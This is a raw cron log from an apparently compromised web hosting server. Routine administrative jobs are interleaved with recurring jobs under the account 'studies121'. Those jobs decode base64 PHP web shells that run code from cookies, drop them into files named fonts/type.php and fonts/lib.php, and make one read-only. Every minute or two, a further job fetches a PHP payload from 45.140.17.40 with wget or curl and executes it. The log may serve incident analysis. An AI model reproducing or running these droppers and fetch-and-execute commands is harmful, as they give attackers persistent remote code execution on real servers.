Aug 30 08:04:01 ip-184-168-122-23 CROND[8273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:04:01 ip-184-168-122-23 CROND[8274]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:05:01 ip-184-168-122-23 CROND[8364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:05:01 ip-184-168-122-23 CROND[8365]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 08:05:01 ip-184-168-122-23 CROND[8367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:05:01 ip-184-168-122-23 CROND[8369]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 08:05:01 ip-184-168-122-23 CROND[8370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:05:01 ip-184-168-122-23 CROND[8368]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 08:05:01 ip-184-168-122-23 CROND[8371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:06:01 ip-184-168-122-23 CROND[8562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:06:01 ip-184-168-122-23 CROND[8564]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:06:01 ip-184-168-122-23 CROND[8567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:06:01 ip-184-168-122-23 CROND[8565]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:06:01 ip-184-168-122-23 CROND[8569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:07:01 ip-184-168-122-23 CROND[8670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:07:01 ip-184-168-122-23 CROND[8671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:07:01 ip-184-168-122-23 CROND[8672]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:07:01 ip-184-168-122-23 CROND[8673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:08:01 ip-184-168-122-23 CROND[8756]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:08:01 ip-184-168-122-23 CROND[8760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:08:01 ip-184-168-122-23 CROND[8759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:08:01 ip-184-168-122-23 CROND[8758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:08:01 ip-184-168-122-23 CROND[8757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:09:01 ip-184-168-122-23 CROND[8844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:09:01 ip-184-168-122-23 CROND[8846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:09:01 ip-184-168-122-23 CROND[8847]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 08:09:01 ip-184-168-122-23 CROND[8849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:09:01 ip-184-168-122-23 CROND[8850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:10:02 ip-184-168-122-23 CROND[8938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:10:02 ip-184-168-122-23 CROND[8943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:10:02 ip-184-168-122-23 CROND[8944]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 08:10:02 ip-184-168-122-23 CROND[8941]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:10:02 ip-184-168-122-23 CROND[8945]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:10:02 ip-184-168-122-23 CROND[8946]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 08:10:02 ip-184-168-122-23 CROND[8940]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 08:10:02 ip-184-168-122-23 CROND[8947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:11:01 ip-184-168-122-23 CROND[9126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:11:01 ip-184-168-122-23 CROND[9127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:11:01 ip-184-168-122-23 CROND[9128]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:11:01 ip-184-168-122-23 CROND[9130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:12:01 ip-184-168-122-23 CROND[9249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:12:01 ip-184-168-122-23 CROND[9252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:12:01 ip-184-168-122-23 CROND[9250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:12:01 ip-184-168-122-23 CROND[9251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:12:01 ip-184-168-122-23 CROND[9253]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:13:01 ip-184-168-122-23 CROND[9337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:13:01 ip-184-168-122-23 CROND[9339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:13:01 ip-184-168-122-23 CROND[9341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:13:01 ip-184-168-122-23 CROND[9340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:14:01 ip-184-168-122-23 CROND[9425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:14:01 ip-184-168-122-23 CROND[9427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:14:01 ip-184-168-122-23 CROND[9428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:14:01 ip-184-168-122-23 CROND[9429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:14:01 ip-184-168-122-23 CROND[9431]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:15:01 ip-184-168-122-23 CROND[9532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:15:01 ip-184-168-122-23 CROND[9534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:15:01 ip-184-168-122-23 CROND[9535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:15:01 ip-184-168-122-23 CROND[9537]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 08:15:01 ip-184-168-122-23 CROND[9538]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 08:15:01 ip-184-168-122-23 CROND[9541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:15:01 ip-184-168-122-23 CROND[9540]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 30 08:16:01 ip-184-168-122-23 CROND[9639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:16:01 ip-184-168-122-23 CROND[9640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
